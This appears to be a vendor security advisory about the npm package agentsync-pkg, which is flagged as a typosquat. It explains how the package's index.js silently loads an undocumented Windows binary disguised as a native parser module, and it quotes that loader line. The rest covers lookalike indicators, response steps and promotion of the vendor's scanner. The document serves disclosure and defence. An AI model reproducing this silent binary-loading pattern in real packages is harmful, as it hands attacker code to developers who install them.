agentsync-pkgnpm
Malicious code in agentsync-pkg (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On every import / require('agentsync-pkg'), src/index.js line 152 resolves bin/native/parser.node and calls require() on it: const p = r('path').join(...,'bin','native','parser.node'); if (r('fs').existsSync(p)) { try { r(p); } catch(e) {} }. The file is a 2.9 MB Windows PE binary (DOS stub !This program cannot be run in DOS mode., sha256 b1aace6c...). On Windows, Node's native module loader invokes LoadLibrary on this file, executing the DLL's entry point regardless of whether it exports valid N-API symbols — i.e. arbitrary attacker-supplied native code runs in the developer's process simply because the package was imported. No source for the binary is shipped, no build script produces it, and the README explicitly advertises the package as "Zero dependencies. Nothing to audit, nothing to get compromised in a supply-chain attack" with no mention of a native parser; the package's documented purpose is string-template markdown generation, which has no legitimate need for a native module. The package also exhibits republish/lookalike indicators: package.json declares name agentsync-pkg version 2.0.0 while src/index.js self-identifies as // v1.0.1, the CHANGELOG only documents up to 1.0.1 ("Zero runtime dependencies"), README/badges/bin entries all reference the unrelated legitimate packages syncagents and agentsync, and the author field is the placeholder agentsync contributors <[email protected]>. The 2.0.0 release silently introduces the undocumented native binary on top of an otherwise pure-JS code base. The combination — name confusion with established packages, placeholder author, self-contradicting version metadata, and an undocumented PE auto-loaded at import — is a typosquat/republish carrying a binary dropper.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for agentsync-pkg (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging agentsync-pkg across your stack and pipelines.
If you installed it — respond
agentsync-pkg is a typosquat — you almost certainly intended a legitimately-named package. Remove agentsync-pkg, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If agentsync-pkg was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks agentsync-pkg before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks agentsync-pkg-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.